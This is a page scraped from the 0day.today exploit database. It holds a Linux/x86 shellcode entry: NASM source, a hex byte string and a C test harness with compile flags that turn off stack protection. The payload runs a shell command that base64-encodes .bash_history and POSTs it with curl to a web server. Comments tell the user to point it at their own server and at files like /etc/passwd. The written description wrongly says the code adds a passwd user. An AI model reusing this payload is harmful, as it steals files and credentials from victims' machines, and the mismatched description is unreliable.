0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)
[# Exploit Title: Linux/x86 cat file encode to base64 and post via curl to webserver (125 bytes)
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 125
------------------------------[Description]---------------------------------
This shellcode writes a new user to the given passwd file
Username = sshd
password = root
Shell = sh
-----------------------------[Shellcode Dump]---------------------------------
section .text
global _start
_start:
xor eax, eax
push eax
jmp short _cmd
_build:
pop ecx
mov edi, ecx
xor ecx, ecx
push eax
push 0x68732f6e
push 0x69622f2f
_param:
mov ebx, esp
push eax
push word 0x632d
mov esi, esp
_exec:
push eax
push edi
push esi
push ebx
mov ecx, esp
mov al, 11
int 0x80
_cmd:
call _build
msg db "curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -X POST", 0x0a
; decoded url = curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -X POST
;change url to your server
; change file to you target file like /etc/passwd
-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c
-----------------------------[C-Code]-----------------------------
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x31\xc0\x50\xeb\x23\x59\x89\xcf\x31\xc9\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x63\x89\xe6\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd8\xff\xff\xff\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x3a\x38\x30\x38\x30\x20\x2d\x64\x20\x27\x64\x61\x74\x61\x3d\x27\x24\x28\x63\x61\x74\x20\x2e\x62\x61\x73\x68\x5f\x68\x69\x73\x74\x6f\x72\x79\x20\x7c\x20\x62\x61\x73\x65\x36\x34\x20\x2d\x77\x20\x30\x29\x20\x2d\x58\x20\x50\x4f\x53\x54\x0a";
void main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
# 0day.today [2024-06-28] #